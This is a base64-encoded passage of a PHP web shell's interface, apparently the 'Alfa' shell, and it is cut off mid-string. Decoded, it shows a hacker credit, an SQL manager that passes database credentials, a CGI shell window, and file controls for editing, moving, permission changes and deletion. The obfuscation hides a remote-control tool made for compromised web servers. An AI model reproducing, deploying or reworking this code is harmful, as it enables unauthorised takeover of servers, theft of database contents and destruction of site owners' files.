YT48L3NwYW4+IDxzcGFuIHN0eWxlPSdsZXR0ZXItc3BhY2luZzogMnB4O2NvbG9yOiAjZGZmZjAwOyc+cGVuamFnYW1hc2ppZHRdZ21haWwuY29tPC9zcGFuPiA8c3Bhbj48YSBzdHlsZT0nY29sb3I6ICNmZjYwNjA7dGV4dC1kZWNvcmF0aW9uOiBub25lOycgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHBzOi8vdHdpdHRlci5jb20vS2FyYXdhbmdDeWJlcj90PVRUOHNpMjBJWVpGX0tpdkpWWWFmNncmcz0wOSc+QFVjZW5IYXhvcjwvYT48L3NwYW4+PC9kaXY+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPC9kaXY+DQoNCjxkaXYgaWQ9J29wdGlvbnNfd2luZG93JyBzdHlsZT0nOnJnYmEoMCwgMCwgMCwgMC42OSk7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcIm9wdGlvbnNfd2luZG93XCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcIm9wdGlvbnNfd2luZG93XCIpOycgY2xhc3M9J2Nsb3NlLWJ1dHRvbic+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0naGVpZ2h0OjEwMCU7JyBjbGFzcz0nY29udGVudF9vcHRpb25zX2hvbGRlcic+PGRpdiBjbGFzcz0nb3B0aW9uc190YWInPjwvZGl2PjxkaXYgY2xhc3M9J29wdGlvbnNfY29udGVudCcgc3R5bGU9J21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7YmFja2dyb3VuZDojMDAwO292ZXJmbG93OmF1dG87Jz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4NCg0KPGRpdiBpZD0nZGF0YWJhc2Vfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+U3FsIE1hbmFnZXI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJkYXRhYmFzZV93aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7bWF4LWhlaWdodDo5MCU7Jz48ZGl2IGNsYXNzPSdzcWwtdGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nc3FsLWNvbnRlbnRzJyBzdHlsZT0nbWF4LWhlaWdodDogODV2aDsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pg0KDQo8ZGl2IGlkPSdjZ2lsb2FkZXInPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiY2dpbG9hZGVyXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImNnaWxvYWRlclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWZyYW1lJyBzdHlsZT0ncG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDsnPjxkaXYgY2xhc3M9J3Rlcm1pbmFsLXRhYnMnPjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDo5MCU7JyBjbGFzcz0ndGVybWluYWwtY29udGVudHMnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pg0KPGRpdiBpZD0nZWRpdG9yJyBzdHlsZT0nZGlzcGxheTpub25lOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IG9uY2xpY2s9J2hpc3RvcnlQYW5lbENvbnRyb2xsZXIodGhpcyk7JyBtb2RlPSd2aXNpYmxlJyBjbGFzcz0naGlzdG9yeS1wYW5lbC1jb250cm9sbGVyJz48PDwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1leHBsb3Jlcic+PGRpdiBjbGFzcz0naGhlYWRlcic+PGRpdiBjbGFzcz0naGlzdG9yeS1jbGVhcicgb25jbGljaz0nY2xlYXJFZGl0b3JIaXN0b3J5KCk7Jz5DbGVhciBhbGw8L2Rpdj48ZGl2IGNsYXNzPSdoaGVhZGVyLXRleHQnPkhpc3Rvcnk8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3Itc2VhcmNoJz48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgaWQ9J3NlYXJjaC1pbnB1dCcgcGxhY2Vob2xkZXI9J3NlYXJjaCc+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1saXN0Jz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItbW9kYWwnPjxkaXYgY2xhc3M9J2VkaXRvci1ib2R5Jz48ZGl2IGNsYXNzPSdlZGl0b3ItY29udGVudCc+PGRpdiBjbGFzcz0nZWRpdG9yLXRhYnMnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50LWhvbGRlcic+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+DQo8ZGl2IGlkPSd1cGRhdGUtY29udGVudCc+PC9kaXY+DQo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCcgc3R5bGU9J3RvcDogMTVweDsnPkRhdGFiYXNlPC9kaXY+PC9kaXY+PC9kaXY+DQo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiA0cHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPk9wdGlvbnM8L2Rpdj48L2Rpdj48L2Rpdj4NCjxkaXYgaWQ9J2VkaXRvci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJlZGl0b3JcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMnB4OycgY2xhc3M9J21pbmltaXplZC10ZXh0Jz5FZGl0b3I8L2Rpdj48L2Rpdj48L2Rpdj4NCjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMTJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+Q2dpIFNoZWxsPC9kaXY+PC9kaXY+PC9kaXY+DQo8ZGl2IGlkPSdyaWdodGNsaWNrX21lbnUnPg0KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSduZXd0YWInPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L25ld3RhYi5zdmdcIj4gT3BlbiBpbiBuZXcgdGFiPC9hPg0KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSdsaW5rJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9saW5rLnN2Z1wiPiBPcGVuIGZpbGUgZGlyZWN0bHk8L2E+DQogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG5hbWU9J2Rvd25sb2FkJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kb3dubG9hZDIuc3ZnXCI+IERvd25sb2FkPC9hPg0KICA8YSBocmVmPScnIG5hbWU9J3ZpZXcnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXc8L2E+DQogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXcgQXJjaGl2ZTwvYT4NCiAgPGEgaHJlZj0nJyBuYW1lPSdlZGl0Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9lZGl0LnN2Z1wiPiBFZGl0PC9hPg0KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJtb3ZlXCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBocmVmPScnIGhyZWY9JycgbmFtZT0nbW92ZSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvbW92ZS5zdmdcIj4gTW92ZTwvYT4NCiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jb3B5LnN2Z1wiPiBDb3B5PC9hPg0KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJyZW5hbWVcIik7JyBmdHlwZT0nJyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J3JlbmFtZSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvcmVuYW1lLnN2Z1wiPiAgUmVuYW1lPC9hPg0KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJtb2RpZnlcIik7JyBmdHlwZT0nJyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J21vZGlmeSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZS5zdmdcIj4gIE1vZGlmeTwvYT4NCiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwicGVybWlzc2lvblwiKTsnIG5hbWU9J3Blcm1pc3Npb24nPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2tleS5zdmdcIj4gQ2hhbmdlIFBlcm1pc3Npb25zPC9hPg0KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nY29tcHJlc3MnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3Jlc2l6ZS5zdmdcIj4gQ29tcHJlc3M8L2E+DQogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdleHRyYWN0Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9pbmNyZWFzZS5zdmdcIj4gRXh0cmFjdDwvYT4NCiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZGVsZXRlJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnXCI+IERlbGV0ZTwvYT4NCjwvZGl2Pg0KPGRpdiBpZD1cImZpbGVzbWFuLXRhYi1mdWxsLXBhdGhcIj48L2Rpdj4NCjxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4NCjxkaXYgY2xhc3M9J2NsLXBvcHVwLWZpeGVkJyBzdHlsZT0nZGlzcGxheTpub25lOyc+DQoJPGRpdiBpZD0nc2hvcnRjdXRNZW51LWhvbGRlcic+DQoJCTxkaXYgY2xhc3M9J3BvcHVwLWhlYWQnPjwvZGl2Pg0KCQkJPGZvcm0gYXV0b2NvbXBsZXRlPSdvZmYnIG9uU3VibWl0PSdyZXR1cm4gZmFsc2U7Jz4NCgkJCQk8bGFiZWwgY2xhc3M9J29sZC1wYXRoLWxibCc+PC9sYWJlbD4NCgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+DQoJCQkJPGxhYmVsIHN0eWxlPSdtYXJnaW4tdG9wOjEwcHg7JyBjbGFzcz0nbmV3LWZpbGVuYW1lLWxibCc+TmV3IGZpbGUgbmFtZTwvbGFiZWw+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZuYW1lJz4NCgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+DQoJCQkJCTx0YWJsZT4NCgkJCQkJICAgPHRib2R5Pg0KCQkJCQkgICAgICA8dHI+DQoJCQkJCSAgICAgICAgIDx0ZD48Yj5Nb2RlPC9iPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD5Vc2VyPC90ZD4NCgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4NCgkJCQkJICAgICAgICAgPHRkPldvcmxkPC90ZD4NCgkJCQkJICAgICAgPC90cj4NCgkJCQkJICAgICAgPHRyPg0KCQkJCQkgICAgICAgICA8dGQ+UmVhZDwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3VyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgIDwvdHI+DQoJCQkJCSAgICAgIDx0cj4NCgkJCQkJICAgICAgICAgPHRkPldyaXRlPC90ZD4NCgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndXcnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4NCgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4NCgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4NCgkJCQkJICAgICAgPC90cj4NCgkJCQkJICAgICAgPHRyPg0KCQkJCQkgICAgICAgICA8dGQ+RXhlY3V0ZTwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+DQoJCQkJCSAgICAgIDwvdHI+DQoJCQkJCSAgICAgIDx0cj4NCgkJCQkJICAgICAgICAgPHRkPlBlcm1pc3Npb248L3RkPg0KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDo2MHB4OycgdHlwZT0ndGV4dCcgbmFtZT0ndScgbWF4bGVuZ3RoPScxJyBvbmlucHV0PSd0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTddL2csMCk7YXV0b0NoZWNrUGVybXModGhpcy52YWx1ZSwgXCJ1XCIsIFtcInVcIl0pOyc+PC90ZD4NCgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+DQoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjYwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSd3JyBtYXhsZW5ndGg9JzEnIG9uaW5wdXQ9J3RoaXMudmFsdWU9dGhpcy52YWx1ZS5yZXBsYWNlKC9bXjAtN10vZywwKTthdXRvQ2hlY2tQZXJtcyh0aGlzLnZhbHVlLCBcIndcIiwgW1wid1wiXSk7Jz48L3RkPg0KCQkJCQkgICAgICA8L3RyPg0KCQkJCQkgICA8L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvZGl2Pg0KDQoJCQk8L2Zvcm0+DQoJCTxkaXYgY2xhc3M9J3BvcHVwLWZvb3QnPg0KCQkJPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2FsZmFQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+DQoJCQk8YnV0dG9uIHN0eWxlPSdiYWNrZ3JvdW5kOiAjOWUyYzJjOycgb25jbGljaz0nZC5xdWVyeVNlbGVjdG9yKFwiLmNsLXBvcHVwLWZpeGVkXCIpLnN0eWxlLmRpc3BsYXk9XCJub25lXCI7Jz5DYW5jZWxsPC9idXR0b24+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+Ijs/Pg0KPHNjcmlwdD4NCmZ1bmN0aW9uIGFsZmFNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplLmRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTphbGZhYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzphbGZhYjY0KGNfKSxhbGZhMTphbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImFsZmEyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuYWxmYTImJiJwYWdlIiE9ZS5wb3N0LmFsZmEyJiYiZWRpdCIhPWUucG9zdC5hbGZhMiYmImRlbGV0ZSIhPWUucG9zdC5hbGZhMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWFsZmFiNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjthbGZhbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXthbGZhbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWUudmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2FsZmEyOiJsb2FkX2FsbF90YWJsZXMiLGFsZmEzOmx9fSxmdW5jdGlvbihyKXtpZigwIT1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTthbGZhTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/YWxmYU15c3FsRmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWFsZmFNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvcih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8pYWxmYU15c3FsVGFibGVNb2RlKGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZU1vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leH